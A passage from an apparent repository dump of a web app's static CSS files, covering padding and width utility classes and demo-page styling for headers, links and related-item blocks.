147px!important;}\n.p-t-148 {padding-top: 148px!important;}\n.p-t-149 {padding-top: 149px!important;}\n.p-t-150 {padding-top: 150px!important;}\n\n\n/*   padding right */\n\n.p-r-0 {padding-right: 0px!important;}\n.p-r-1 {padding-right: 1px!important;}\n.p-r-2 {padding-right: 2px!important;}\n.p-r-3 {padding-right: 3px!important;}\n.p-r-4 {padding-right: 4px!important;}\n.p-r-5 {padding-right: 5px!important;}\n.p-r-6 {padding-right: 6px!important;}\n.p-r-7 {padding-right: 7px!important;}\n.p-r-8 {padding-right: 8px!important;}\n.p-r-9 {padding-right: 9px!important;}\n.p-r-10 {padding-right: 10px!important;}\n.p-r-11 {padding-right: 11px!important;}\n.p-r-12 {padding-right: 12px!important;}\n.p-r-13 {padding-right: 13px!important;}\n.p-r-14 {padding-right: 14px!important;}\n.p-r-15 {padding-right: 15px!important;}\n.p-r-16 {padding-right: 16px!important;}\n.p-r-17 {padding-right: 17px!important;}\n.p-r-18 {padding-right: 18px!important;}\n.p-r-19 {padding-right: 19px!important;}\n.p-r-20 {padding-right: 20px!important;}\n.p-r-21 {padding-right: 21px!important;}\n.p-r-22 {padding-right: 22px!important;}\n.p-r-23 {padding-right: 23px!important;}\n.p-r-24 {padding-right: 24px!important;}\n.p-r-25 {padding-right: 25px!important;}\n.p-r-26 {padding-right: 26px!important;}\n.p-r-27 {padding-right: 27px!important;}\n.p-r-28 {padding-right: 28px!important;}\n.p-r-29 {padding-right: 29px!important;}\n.p-r-30 {padding-right: 30px!important;}\n.p-r-31 {padding-right: 31px!important;}\n.p-r-32 {padding-right: 32px!important;}\n.p-r-33 {padding-right: 33px!important;}\n.p-r-34 {padding-right: 34px!important;}\n.p-r-35 {padding-right: 35px!important;}\n.p-r-36 {padding-right: 36px!important;}\n.p-r-37 {padding-right: 37px!important;}\n.p-r-38 {padding-right: 38px!important;}\n.p-r-39 {padding-right: 39px!important;}\n.p-r-40 {padding-right: 40px!important;}\n.p-r-41 {padding-right: 4px!important;}\n.p-r-42 {padding-right: 42px!important;}\n.p-r-43 {padding-right: 43px!important;}\n.p-r-44 {padding-right: 44px!important;}\n.p-r-45 {padding-right: 45px!important;}\n.p-r-46 {padding-right: 46px!important;}\n.p-r-47 {padding-right: 47px!important;}\n.p-r-48 {padding-right: 48px!important;}\n.p-r-49 {padding-right: 49px!important;}\n.p-r-50 {padding-right: 50px!important;}\n.p-r-51 {padding-right: 51px!important;}\n.p-r-52 {padding-right: 52px!important;}\n.p-r-53 {padding-right: 53px!important;}\n.p-r-54 {padding-right: 54px!important;}\n.p-r-55 {padding-right: 55px!important;}\n.p-r-56 {padding-right: 56px!important;}\n.p-r-57 {padding-right: 57px!important;}\n.p-r-58 {padding-right: 58px!important;}\n.p-r-59 {padding-right: 59px!important;}\n.p-r-60 {padding-right: 60px!important;}\n.p-r-61 {padding-right: 61px!important;}\n.p-r-62 {padding-right: 62px!important;}\n.p-r-63 {padding-right: 63px!important;}\n.p-r-64 {padding-right: 64px!important;}\n.p-r-65 {padding-right: 65px!important;}\n.p-r-66 {padding-right: 66px!important;}\n.p-r-67 {padding-right: 67px!important;}\n.p-r-68 {padding-right: 68px!important;}\n.p-r-69 {padding-right: 69px!important;}\n.p-r-70 {padding-right: 70px!important;}\n.p-r-71 {padding-right: 71px!important;}\n.p-r-72 {padding-right: 72px!important;}\n.p-r-73 {padding-right: 73px!important;}\n.p-r-74 {padding-right: 74px!important;}\n.p-r-75 {padding-right: 75px!important;}\n.p-r-76 {padding-right: 76px!important;}\n.p-r-77 {padding-right: 77px!important;}\n.p-r-78 {padding-right: 78px!important;}\n.p-r-79 {padding-right: 79px!important;}\n.p-r-80 {padding-right: 80px!important;}\n.p-r-81 {padding-right: 81px!important;}\n.p-r-82 {padding-right: 82px!important;}\n.p-r-83 {padding-right: 83px!important;}\n.p-r-84 {padding-right: 84px!important;}\n.p-r-85 {padding-right: 85px!important;}\n.p-r-86 {padding-right: 86px!important;}\n.p-r-87 {padding-right: 87px!important;}\n.p-r-88 {padding-right: 88px!important;}\n.p-r-89 {padding-right: 89px!important;}\n.p-r-90 {padding-right: 90px!important;}\n.p-r-91 {padding-right: 91px!important;}\n.p-r-92 {padding-right: 92px!important;}\n.p-r-93 {padding-right: 93px!important;}\n.p-r-94 {padding-right: 94px!important;}\n.p-r-95 {padding-right: 95px!important;}\n.p-r-96 {padding-right: 96px!important;}\n.p-r-97 {padding-right: 97px!important;}\n.p-r-98 {padding-right: 98px!important;}\n.p-r-99 {padding-right: 99px!important;}\n.p-r-100 {padding-right: 100px!important;}\n.p-r-101 {padding-right: 101px!important;}\n.p-r-102 {padding-right: 102px!important;}\n.p-r-103 {padding-right: 103px!important;}\n.p-r-104 {padding-right: 104px!important;}\n.p-r-105 {padding-right: 105px!important;}\n.p-r-106 {padding-right: 106px!important;}\n.p-r-107 {padding-right: 107px!important;}\n.p-r-108 {padding-right: 108px!important;}\n.p-r-109 {padding-right: 109px!important;}\n.p-r-110 {padding-right: 110px!important;}\n.p-r-111 {padding-right: 111px!important;}\n.p-r-112 {padding-right: 112px!important;}\n.p-r-113 {padding-right: 113px!important;}\n.p-r-114 {padding-right: 114px!important;}\n.p-r-115 {padding-right: 115px!important;}\n.p-r-116 {padding-right: 116px!important;}\n.p-r-117 {padding-right: 117px!important;}\n.p-r-118 {padding-right: 118px!important;}\n.p-r-119 {padding-right: 119px!important;}\n.p-r-120 {padding-right: 120px!important;}\n.p-r-121 {padding-right: 121px!important;}\n.p-r-122 {padding-right: 122px!important;}\n.p-r-123 {padding-right: 123px!important;}\n.p-r-124 {padding-right: 124px!important;}\n.p-r-125 {padding-right: 125px!important;}\n.p-r-126 {padding-right: 126px!important;}\n.p-r-127 {padding-right: 127px!important;}\n.p-r-128 {padding-right: 128px!important;}\n.p-r-129 {padding-right: 129px!important;}\n.p-r-130 {padding-right: 130px!important;}\n.p-r-131 {padding-right: 131px!important;}\n.p-r-132 {padding-right: 132px!important;}\n.p-r-133 {padding-right: 133px!important;}\n.p-r-134 {padding-right: 134px!important;}\n.p-r-135 {padding-right: 135px!important;}\n.p-r-136 {padding-right: 136px!important;}\n.p-r-137 {padding-right: 137px!important;}\n.p-r-138 {padding-right: 138px!important;}\n.p-r-139 {padding-right: 139px!important;}\n.p-r-140 {padding-right: 140px!important;}\n.p-r-141 {padding-right: 141px!important;}\n.p-r-142 {padding-right: 142px!important;}\n.p-r-143 {padding-right: 143px!important;}\n.p-r-144 {padding-right: 144px!important;}\n.p-r-145 {padding-right: 145px!important;}\n.p-r-146 {padding-right: 146px!important;}\n.p-r-147 {padding-right: 147px!important;}\n.p-r-148 {padding-right: 148px!important;}\n.p-r-149 {padding-right: 149px!important;}\n.p-r-150 {padding-right: 150px!important;}\n\n\n/*   padding bottom */\n\n.p-b-0 {padding-bottom: 0px!important;}\n.p-b-1 {padding-bottom: 1px!important;}\n.p-b-2 {padding-bottom: 2px!important;}\n.p-b-3 {padding-bottom: 3px!important;}\n.p-b-4 {padding-bottom: 4px!important;}\n.p-b-5 {padding-bottom: 5px!important;}\n.p-b-6 {padding-bottom: 6px!important;}\n.p-b-7 {padding-bottom: 7px!important;}\n.p-b-8 {padding-bottom: 8px!important;}\n.p-b-9 {padding-bottom: 9px!important;}\n.p-b-10 {padding-bottom: 10px!important;}\n.p-b-11 {padding-bottom: 11px!important;}\n.p-b-12 {padding-bottom: 12px!important;}\n.p-b-13 {padding-bottom: 13px!important;}\n.p-b-14 {padding-bottom: 14px!important;}\n.p-b-15 {padding-bottom: 15px!important;}\n.p-b-16 {padding-bottom: 16px!important;}\n.p-b-17 {padding-bottom: 17px!important;}\n.p-b-18 {padding-bottom: 18px!important;}\n.p-b-19 {padding-bottom: 19px!important;}\n.p-b-20 {padding-bottom: 20px!important;}\n.p-b-21 {padding-bottom: 21px!important;}\n.p-b-22 {padding-bottom: 22px!important;}\n.p-b-23 {padding-bottom: 23px!important;}\n.p-b-24 {padding-bottom: 24px!important;}\n.p-b-25 {padding-bottom: 25px!important;}\n.p-b-26 {padding-bottom: 26px!important;}\n.p-b-27 {padding-bottom: 27px!important;}\n.p-b-28 {padding-bottom: 28px!important;}\n.p-b-29 {padding-bottom: 29px!important;}\n.p-b-30 {padding-bottom: 30px!important;}\n.p-b-31 {padding-bottom: 31px!important;}\n.p-b-32 {padding-bottom: 32px!important;}\n.p-b-33 {padding-bottom: 33px!important;}\n.p-b-34 {padding-bottom: 34px!important;}\n.p-b-35 {padding-bottom: 35px!important;}\n.p-b-36 {padding-bottom: 36px!important;}\n.p-b-37 {padding-bottom: 37px!important;}\n.p-b-38 {padding-bottom: 38px!important;}\n.p-b-39 {padding-bottom: 39px!important;}\n.p-b-40 {padding-bottom: 40px!important;}\n.p-b-41 {padding-bottom: 4px!important;}\n.p-b-42 {padding-bottom: 42px!important;}\n.p-b-43 {padding-bottom: 43px!important;}\n.p-b-44 {padding-bottom: 44px!important;}\n.p-b-45 {padding-bottom: 45px!important;}\n.p-b-46 {padding-bottom: 46px!important;}\n.p-b-47 {padding-bottom: 47px!important;}\n.p-b-48 {padding-bottom: 48px!important;}\n.p-b-49 {padding-bottom: 49px!important;}\n.p-b-50 {padding-bottom: 50px!important;}\n.p-b-51 {padding-bottom: 51px!important;}\n.p-b-52 {padding-bottom: 52px!important;}\n.p-b-53 {padding-bottom: 53px!important;}\n.p-b-54 {padding-bottom: 54px!important;}\n.p-b-55 {padding-bottom: 55px!important;}\n.p-b-56 {padding-bottom: 56px!important;}\n.p-b-57 {padding-bottom: 57px!important;}\n.p-b-58 {padding-bottom: 58px!important;}\n.p-b-59 {padding-bottom: 59px!important;}\n.p-b-60 {padding-bottom: 60px!important;}\n.p-b-61 {padding-bottom: 61px!important;}\n.p-b-62 {padding-bottom: 62px!important;}\n.p-b-63 {padding-bottom: 63px!important;}\n.p-b-64 {padding-bottom: 64px!important;}\n.p-b-65 {padding-bottom: 65px!important;}\n.p-b-66 {padding-bottom: 66px!important;}\n.p-b-67 {padding-bottom: 67px!important;}\n.p-b-68 {padding-bottom: 68px!important;}\n.p-b-69 {padding-bottom: 69px!important;}\n.p-b-70 {padding-bottom: 70px!important;}\n.p-b-71 {padding-bottom: 71px!important;}\n.p-b-72 {padding-bottom: 72px!important;}\n.p-b-73 {padding-bottom: 73px!important;}\n.p-b-74 {padding-bottom: 74px!important;}\n.p-b-75 {padding-bottom: 75px!important;}\n.p-b-76 {padding-bottom: 76px!important;}\n.p-b-77 {padding-bottom: 77px!important;}\n.p-b-78 {padding-bottom: 78px!important;}\n.p-b-79 {padding-bottom: 79px!important;}\n.p-b-80 {padding-bottom: 80px!important;}\n.p-b-81 {padding-bottom: 81px!important;}\n.p-b-82 {padding-bottom: 82px!important;}\n.p-b-83 {padding-bottom: 83px!important;}\n.p-b-84 {padding-bottom: 84px!important;}\n.p-b-85 {padding-bottom: 85px!important;}\n.p-b-86 {padding-bottom: 86px!important;}\n.p-b-87 {padding-bottom: 87px!important;}\n.p-b-88 {padding-bottom: 88px!important;}\n.p-b-89 {padding-bottom: 89px!important;}\n.p-b-90 {padding-bottom: 90px!important;}\n.p-b-91 {padding-bottom: 91px!important;}\n.p-b-92 {padding-bottom: 92px!important;}\n.p-b-93 {padding-bottom: 93px!important;}\n.p-b-94 {padding-bottom: 94px!important;}\n.p-b-95 {padding-bottom: 95px!important;}\n.p-b-96 {padding-bottom: 96px!important;}\n.p-b-97 {padding-bottom: 97px!important;}\n.p-b-98 {padding-bottom: 98px!important;}\n.p-b-99 {padding-bottom: 99px!important;}\n.p-b-100 {padding-bottom: 100px!important;}\n.p-b-101 {padding-bottom: 101px!important;}\n.p-b-102 {padding-bottom: 102px!important;}\n.p-b-103 {padding-bottom: 103px!important;}\n.p-b-104 {padding-bottom: 104px!important;}\n.p-b-105 {padding-bottom: 105px!important;}\n.p-b-106 {padding-bottom: 106px!important;}\n.p-b-107 {padding-bottom: 107px!important;}\n.p-b-108 {padding-bottom: 108px!important;}\n.p-b-109 {padding-bottom: 109px!important;}\n.p-b-110 {padding-bottom: 110px!important;}\n.p-b-111 {padding-bottom: 111px!important;}\n.p-b-112 {padding-bottom: 112px!important;}\n.p-b-113 {padding-bottom: 113px!important;}\n.p-b-114 {padding-bottom: 114px!important;}\n.p-b-115 {padding-bottom: 115px!important;}\n.p-b-116 {padding-bottom: 116px!important;}\n.p-b-117 {padding-bottom: 117px!important;}\n.p-b-118 {padding-bottom: 118px!important;}\n.p-b-119 {padding-bottom: 119px!important;}\n.p-b-120 {padding-bottom: 120px!important;}\n.p-b-121 {padding-bottom: 121px!important;}\n.p-b-122 {padding-bottom: 122px!important;}\n.p-b-123 {padding-bottom: 123px!important;}\n.p-b-124 {padding-bottom: 124px!important;}\n.p-b-125 {padding-bottom: 125px!important;}\n.p-b-126 {padding-bottom: 126px!important;}\n.p-b-127 {padding-bottom: 127px!important;}\n.p-b-128 {padding-bottom: 128px!important;}\n.p-b-129 {padding-bottom: 129px!important;}\n.p-b-130 {padding-bottom: 130px!important;}\n.p-b-131 {padding-bottom: 131px!important;}\n.p-b-132 {padding-bottom: 132px!important;}\n.p-b-133 {padding-bottom: 133px!important;}\n.p-b-134 {padding-bottom: 134px!important;}\n.p-b-135 {padding-bottom: 135px!important;}\n.p-b-136 {padding-bottom: 136px!important;}\n.p-b-137 {padding-bottom: 137px!important;}\n.p-b-138 {padding-bottom: 138px!important;}\n.p-b-139 {padding-bottom: 139px!important;}\n.p-b-140 {padding-bottom: 140px!important;}\n.p-b-141 {padding-bottom: 141px!important;}\n.p-b-142 {padding-bottom: 142px!important;}\n.p-b-143 {padding-bottom: 143px!important;}\n.p-b-144 {padding-bottom: 144px!important;}\n.p-b-145 {padding-bottom: 145px!important;}\n.p-b-146 {padding-bottom: 146px!important;}\n.p-b-147 {padding-bottom: 147px!important;}\n.p-b-148 {padding-bottom: 148px!important;}\n.p-b-149 {padding-bottom: 149px!important;}\n.p-b-150 {padding-bottom: 150px!important;}\n\n\n\n/*   padding left */\n\n.p-l-0 {padding-left: 0px!important;}\n.p-l-1 {padding-left: 1px!important;}\n.p-l-2 {padding-left: 2px!important;}\n.p-l-3 {padding-left: 3px!important;}\n.p-l-4 {padding-left: 4px!important;}\n.p-l-5 {padding-left: 5px!important;}\n.p-l-6 {padding-left: 6px!important;}\n.p-l-7 {padding-left: 7px!important;}\n.p-l-8 {padding-left: 8px!important;}\n.p-l-9 {padding-left: 9px!important;}\n.p-l-10 {padding-left: 10px!important;}\n.p-l-11 {padding-left: 11px!important;}\n.p-l-12 {padding-left: 12px!important;}\n.p-l-13 {padding-left: 13px!important;}\n.p-l-14 {padding-left: 14px!important;}\n.p-l-15 {padding-left: 15px!important;}\n.p-l-16 {padding-left: 16px!important;}\n.p-l-17 {padding-left: 17px!important;}\n.p-l-18 {padding-left: 18px!important;}\n.p-l-19 {padding-left: 19px!important;}\n.p-l-20 {padding-left: 20px!important;}\n.p-l-21 {padding-left: 21px!important;}\n.p-l-22 {padding-left: 22px!important;}\n.p-l-23 {padding-left: 23px!important;}\n.p-l-24 {padding-left: 24px!important;}\n.p-l-25 {padding-left: 25px!important;}\n.p-l-26 {padding-left: 26px!important;}\n.p-l-27 {padding-left: 27px!important;}\n.p-l-28 {padding-left: 28px!important;}\n.p-l-29 {padding-left: 29px!important;}\n.p-l-30 {padding-left: 30px!important;}\n.p-l-31 {padding-left: 31px!important;}\n.p-l-32 {padding-left: 32px!important;}\n.p-l-33 {padding-left: 33px!important;}\n.p-l-34 {padding-left: 34px!important;}\n.p-l-35 {padding-left: 35px!important;}\n.p-l-36 {padding-left: 36px!important;}\n.p-l-37 {padding-left: 37px!important;}\n.p-l-38 {padding-left: 38px!important;}\n.p-l-39 {padding-left: 39px!important;}\n.p-l-40 {padding-left: 40px!important;}\n.p-l-41 {padding-left: 4px!important;}\n.p-l-42 {padding-left: 42px!important;}\n.p-l-43 {padding-left: 43px!important;}\n.p-l-44 {padding-left: 44px!important;}\n.p-l-45 {padding-left: 45px!important;}\n.p-l-46 {padding-left: 46px!important;}\n.p-l-47 {padding-left: 47px!important;}\n.p-l-48 {padding-left: 48px!important;}\n.p-l-49 {padding-left: 49px!important;}\n.p-l-50 {padding-left: 50px!important;}\n.p-l-51 {padding-left: 51px!important;}\n.p-l-52 {padding-left: 52px!important;}\n.p-l-53 {padding-left: 53px!important;}\n.p-l-54 {padding-left: 54px!important;}\n.p-l-55 {padding-left: 55px!important;}\n.p-l-56 {padding-left: 56px!important;}\n.p-l-57 {padding-left: 57px!important;}\n.p-l-58 {padding-left: 58px!important;}\n.p-l-59 {padding-left: 59px!important;}\n.p-l-60 {padding-left: 60px!important;}\n.p-l-61 {padding-left: 61px!important;}\n.p-l-62 {padding-left: 62px!important;}\n.p-l-63 {padding-left: 63px!important;}\n.p-l-64 {padding-left: 64px!important;}\n.p-l-65 {padding-left: 65px!important;}\n.p-l-66 {padding-left: 66px!important;}\n.p-l-67 {padding-left: 67px!important;}\n.p-l-68 {padding-left: 68px!important;}\n.p-l-69 {padding-left: 69px!important;}\n.p-l-70 {padding-left: 70px!important;}\n.p-l-71 {padding-left: 71px!important;}\n.p-l-72 {padding-left: 72px!important;}\n.p-l-73 {padding-left: 73px!important;}\n.p-l-74 {padding-left: 74px!important;}\n.p-l-75 {padding-left: 75px!important;}\n.p-l-76 {padding-left: 76px!important;}\n.p-l-77 {padding-left: 77px!important;}\n.p-l-78 {padding-left: 78px!important;}\n.p-l-79 {padding-left: 79px!important;}\n.p-l-80 {padding-left: 80px!important;}\n.p-l-81 {padding-left: 81px!important;}\n.p-l-82 {padding-left: 82px!important;}\n.p-l-83 {padding-left: 83px!important;}\n.p-l-84 {padding-left: 84px!important;}\n.p-l-85 {padding-left: 85px!important;}\n.p-l-86 {padding-left: 86px!important;}\n.p-l-87 {padding-left: 87px!important;}\n.p-l-88 {padding-left: 88px!important;}\n.p-l-89 {padding-left: 89px!important;}\n.p-l-90 {padding-left: 90px!important;}\n.p-l-91 {padding-left: 91px!important;}\n.p-l-92 {padding-left: 92px!important;}\n.p-l-93 {padding-left: 93px!important;}\n.p-l-94 {padding-left: 94px!important;}\n.p-l-95 {padding-left: 95px!important;}\n.p-l-96 {padding-left: 96px!important;}\n.p-l-97 {padding-left: 97px!important;}\n.p-l-98 {padding-left: 98px!important;}\n.p-l-99 {padding-left: 99px!important;}\n.p-l-100 {padding-left: 100px!important;}\n.p-l-101 {padding-left: 101px!important;}\n.p-l-102 {padding-left: 102px!important;}\n.p-l-103 {padding-left: 103px!important;}\n.p-l-104 {padding-left: 104px!important;}\n.p-l-105 {padding-left: 105px!important;}\n.p-l-106 {padding-left: 106px!important;}\n.p-l-107 {padding-left: 107px!important;}\n.p-l-108 {padding-left: 108px!important;}\n.p-l-109 {padding-left: 109px!important;}\n.p-l-110 {padding-left: 110px!important;}\n.p-l-111 {padding-left: 111px!important;}\n.p-l-112 {padding-left: 112px!important;}\n.p-l-113 {padding-left: 113px!important;}\n.p-l-114 {padding-left: 114px!important;}\n.p-l-115 {padding-left: 115px!important;}\n.p-l-116 {padding-left: 116px!important;}\n.p-l-117 {padding-left: 117px!important;}\n.p-l-118 {padding-left: 118px!important;}\n.p-l-119 {padding-left: 119px!important;}\n.p-l-120 {padding-left: 120px!important;}\n.p-l-121 {padding-left: 121px!important;}\n.p-l-122 {padding-left: 122px!important;}\n.p-l-123 {padding-left: 123px!important;}\n.p-l-124 {padding-left: 124px!important;}\n.p-l-125 {padding-left: 125px!important;}\n.p-l-126 {padding-left: 126px!important;}\n.p-l-127 {padding-left: 127px!important;}\n.p-l-128 {padding-left: 128px!important;}\n.p-l-129 {padding-left: 129px!important;}\n.p-l-130 {padding-left: 130px!important;}\n.p-l-131 {padding-left: 131px!important;}\n.p-l-132 {padding-left: 132px!important;}\n.p-l-133 {padding-left: 133px!important;}\n.p-l-134 {padding-left: 134px!important;}\n.p-l-135 {padding-left: 135px!important;}\n.p-l-136 {padding-left: 136px!important;}\n.p-l-137 {padding-left: 137px!important;}\n.p-l-138 {padding-left: 138px!important;}\n.p-l-139 {padding-left: 139px!important;}\n.p-l-140 {padding-left: 140px!important;}\n.p-l-141 {padding-left: 141px!important;}\n.p-l-142 {padding-left: 142px!important;}\n.p-l-143 {padding-left: 143px!important;}\n.p-l-144 {padding-left: 144px!important;}\n.p-l-145 {padding-left: 145px!important;}\n.p-l-146 {padding-left: 146px!important;}\n.p-l-147 {padding-left: 147px!important;}\n.p-l-148 {padding-left: 148px!important;}\n.p-l-149 {padding-left: 149px!important;}\n.p-l-150 {padding-left: 150px!important;}\n\n\n/* Width percentage*/\n\n\n\n\n.w-5{\n    width:5%!important;\n}\n.w-10{\n    width:10%!important;\n}\n.w-15{\n    width:15%!important;\n}\n.w-20{\n    width:20%!important;\n}\n.w-25{\n    width:25%!important;\n}\n.w-30{\n    width:30%!important;\n}\n.w-35{\n    width:35%!important;\n}\n.w-40{\n    width:40%!important;\n}\n.w-45{\n    width:45%!important;\n}\n.w-50{\n    width:50%!important;\n}\n.w-55{\n    width:55%!important;\n}\n.w-60{\n    width:60%!important;\n}\n.w-65{\n    width:65%!important;\n}\n.w-70{\n    width:70%!important;\n}\n.w-75{\n    width:75%!important;\n}\n.w-80{\n    width:80%!important;\n}\n.w-85{\n    width:85%!important;\n}\n.w-90{\n    width:90%!important;\n}\n.w-95{\n    width:95%!important;\n}\n.w-100{\n    width:100%!important;\n}\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "flag_server/webapps/static/css/htmleaf-demo.css",
    "content": "@font-face {\n\tfont-family: 'icomoon';\n\tsrc:url('../fonts/icomoon.eot?rretjt');\n\tsrc:url('../fonts/icomoon.eot?#iefixrretjt') format('embedded-opentype'),\n\t\turl('../fonts/icomoon.woff?rretjt') format('woff'),\n\t\turl('../fonts/icomoon.ttf?rretjt') format('truetype'),\n\t\turl('../fonts/icomoon.svg?rretjt#icomoon') format('svg');\n\tfont-weight: normal;\n\tfont-style: normal;\n}\n\n[class^=\"icon-\"], [class*=\" icon-\"] {\n\tfont-family: 'icomoon';\n\tspeak: none;\n\tfont-style: normal;\n\tfont-weight: normal;\n\tfont-variant: normal;\n\ttext-transform: none;\n\tline-height: 1;\n\n\t/* Better Font Rendering =========== */\n\t-webkit-font-smoothing: antialiased;\n\t-moz-osx-font-smoothing: grayscale;\n}\n\nbody, html { font-size: 100%; \tpadding: 0; margin: 0;}\n\n/* Reset */\n*,\n*:after,\n*:before {\n\t-webkit-box-sizing: border-box;\n\t-moz-box-sizing: border-box;\n\tbox-sizing: border-box;\n}\n\n/* Clearfix hack by Nicolas Gallagher: http://nicolasgallagher.com/micro-clearfix-hack/ */\n.clearfix:before,\n.clearfix:after {\n\tcontent: \" \";\n\tdisplay: table;\n}\n\n.clearfix:after {\n\tclear: both;\n}\n\nbody{\n\tbackground: #494A5F;\n\tcolor: #D5D6E2;\n\tfont-weight: 500;\n\tfont-size: 1.05em;\n\tfont-family: \"Microsoft YaHei\",\"Segoe UI\", \"Lucida Grande\", Helvetica, Arial,sans-serif;\n}\n.htmleaf-links a{ color: rgba(255, 255, 255, 0.6);outline: none;text-decoration: none;-webkit-transition: 0.2s;transition: 0.2s;}\n.htmleaf-links a:hover,.htmleaf-links a:focus{color:#74777b;text-decoration: none;}\n.htmleaf-container{\n\tmargin: 0 auto;\n}\n\n.bgcolor-1 { background: #f0efee; }\n.bgcolor-2 { background: #f9f9f9; }\n.bgcolor-3 { background: #e8e8e8; }/*light grey*/\n.bgcolor-4 { background: #2f3238; color: #fff; }/*Dark grey*/\n.bgcolor-5 { background: #df6659; color: #521e18; }/*pink1*/\n.bgcolor-6 { background: #2fa8ec; }/*sky blue*/\n.bgcolor-7 { background: #d0d6d6; }/*White tea*/\n.bgcolor-8 { background: #3d4444; color: #fff; }/*Dark grey2*/\n.bgcolor-9 { background: #ef3f52; color: #fff;}/*pink2*/\n.bgcolor-10{ background: #64448f; color: #fff;}/*Violet*/\n.bgcolor-11{ background: #3755ad; color: #fff;}/*dark blue*/\n.bgcolor-12{ background: #3498DB; color: #fff;}/*light blue*/\n.bgcolor-20{ background: #494A5F;color: #D5D6E2;}\n/* Header */\n.htmleaf-header{\n\tpadding: 1em 190px 1em;\n\tletter-spacing: -1px;\n\ttext-align: center;\n}\n.htmleaf-header h1 {\n\tcolor: #D5D6E2;\n\tfont-weight: 600;\n\tfont-size: 2em;\n\tline-height: 1;\n\tmargin-bottom: 0;\n}\n.htmleaf-header h1 span {\n\tdisplay: block;\n\tfont-size: 60%;\n\tfont-weight: 400;\n\tpadding: 0.8em 0 0.5em 0;\n\tcolor: #c3c8cd;\n}\n/*nav*/\n.htmleaf-demo a{color: #fff;text-decoration: none;}\n.htmleaf-demo{width: 100%;padding-bottom: 1.2em;}\n.htmleaf-demo a{display: inline-block;margin: 0.5em;padding: 0.6em 1em;border: 3px solid #fff;font-weight: 700;}\n.htmleaf-demo a:hover{opacity: 0.6;}\n.htmleaf-demo a.current{background:#1d7db1;color: #fff; }\n/* Top Navigation Style */\n.htmleaf-links {\n\tposition: relative;\n\tdisplay: inline-block;\n\twhite-space: nowrap;\n\tfont-size: 1.5em;\n\ttext-align: center;\n}\n\n.htmleaf-links::after {\n\tposition: absolute;\n\ttop: 0;\n\tleft: 50%;\n\tmargin-left: -1px;\n\twidth: 2px;\n\theight: 100%;\n\tbackground: #dbdbdb;\n\tcontent: '';\n\t-webkit-transform: rotate3d(0,0,1,22.5deg);\n\ttransform: rotate3d(0,0,1,22.5deg);\n}\n\n.htmleaf-icon {\n\tdisplay: inline-block;\n\tmargin: 0.5em;\n\tpadding: 0em 0;\n\twidth: 1.5em;\n\ttext-decoration: none;\n}\n\n.htmleaf-icon span {\n\tdisplay: none;\n}\n\n.htmleaf-icon:before {\n\tmargin: 0 5px;\n\ttext-transform: none;\n\tfont-weight: normal;\n\tfont-style: normal;\n\tfont-variant: normal;\n\tfont-family: 'icomoon';\n\tline-height: 1;\n\tspeak: none;\n\t-webkit-font-smoothing: antialiased;\n}\n/* footer */\n.htmleaf-footer{width: 100%;padding-top: 10px;}\n.htmleaf-small{font-size: 0.8em;}\n.center{text-align: center;}\n/****/\n.related {\n\tcolor: #fff;\n\tbackground: #494A5F;\n\ttext-align: center;\n\tfont-size: 1.25em;\n\tpadding: 0.5em 0;\n\toverflow: hidden;\n}\n\n.related > a {\n\tvertical-align: top;\n\twidth: calc(100% - 20px);\n\tmax-width: 340px;\n\tdisplay: inline-block;\n\ttext-align: center;\n\tmargin: 20px 10px;\n\tpadding: 25px;\n\tfont-family: \"Microsoft YaHei\",\"宋体\",\"Segoe UI\", \"Lucida Grande\", Helvetica, Arial,sans-serif, FreeSans, Arimo;\n}\n.related a {\n\tdisplay: inline-block;\n\ttext-align: left;\n\tmargin: 20px auto;\n\tpadding: 10px 20px;\n\topacity: 0.8;\n\t-webkit-transition: opacity 0.3s;\n\ttransition: opacity 0.3s;\n\t-webkit-backface-visibility: hidden;\n\ttext-decoration: none;\n}\n\n.related a:hover,\n.related a:active {\n\topacity: 1;\n}\n\n.related a img {\n\tmax-width: 100%;\n\topacity: 0.8;\n\tborder-radius: 4px;\n}\n.related a:hover img,\n.related a:active img {\n\topacity: 1;\n}\n.related h3{font-family: \"Microsoft YaHei\", sans-serif;font-size: 1.2em}\n.related a h3 {\n\tfont-size: 0.85em;\n\tfont-weight: 300;\n\tmargin-top: 0.15em;\n\tcolor: #fff;\n}\n/* icomoon */\n.icon-htmleaf-home-outline:before {\n\tcontent: \"\\e5000\";\n}\n\n.icon-htmleaf-arrow-forward-outline:before {\n\tcontent: \"\\e5001\";\n}\n\n@media screen and (max-width: 1024px) {\n\t.htmleaf-header {\n\t\tpadding: 2em 10% 2em;\n\t}\n\t.htmleaf-header h1 {\n        font-size:1.4em;\n    }\n    .htmleaf-links{font-size: 1.4em}\n}\n\n@media screen and (max-width: 960px) {\n\t.htmleaf-header {\n\t\tpadding: 2em 10% 2em;\n\t}\n\t.htmleaf-header h1 {\n        font-size:1.2em;\n    }\n    .htmleaf-links{font-size: 1.2em}\n    .related h3{font-size: 1em;}\n\t.related a h3 {\n\t\tfont-size: 0.8em;\n\t}\n}\n\n@media screen and (max-width: 766px) {\n\t.htmleaf-header h1 {\n        font-size:1.3em;\n    }\n    .htmleaf-links{font-size: 1.3em}\n}\n\n@media screen and (max-width: 640px) {\n\t.htmleaf-header {\n\t\tpadding: 2em 10% 2em;\n\t}\n\t.htmleaf-header h1 {\n        font-size:1em;\n    }\n    .htmleaf-links{font-size: 1em}\n    .related h3{font-size: 0.8em;}\n\t.related a h3 {\n\t\tfont-size: 0.6em;\n\t}\n}"
  },
  {
    "path": "flag_server/webapps/static/css/hullabaloo.css",
    "content": "/* Space out content a bit */\nbody {\n  padding-top: 20px;\n  padding-bottom: 20px;\n}\n\n/* Everything but the jumbotron gets side spacing for mobile first views */\n.header,\n.footer {\n  padding-right: 15px;\n  padding-left: 15px;\n}\n\n/* Custom page header */\n.header {\n  padding-bottom: 20px;\n  border-bottom: 1px solid #e5e5e5;\n}\n/* Make the masthead heading the same height as the navigation */\n.header h3 {\n  margin-top: 0;\n  margin-bottom: 0;\n  line-height: 40px;\n}\n\n.content{\n  padding:40px 0;\n}\n\n/* Custom page footer */\n.footer {\n  padding-top: 19px;\n  color: #777;\n  border-top: 1px solid #e5e5e5;\n}\n\n/* Customize container */\n@media (min-width: 768px) {\n  .container {\n    max-width: 730px;\n  }\n}\n.container-narrow > hr {\n  margin: 30px 0;\n}\n\n/* Main marketing message and sign up button 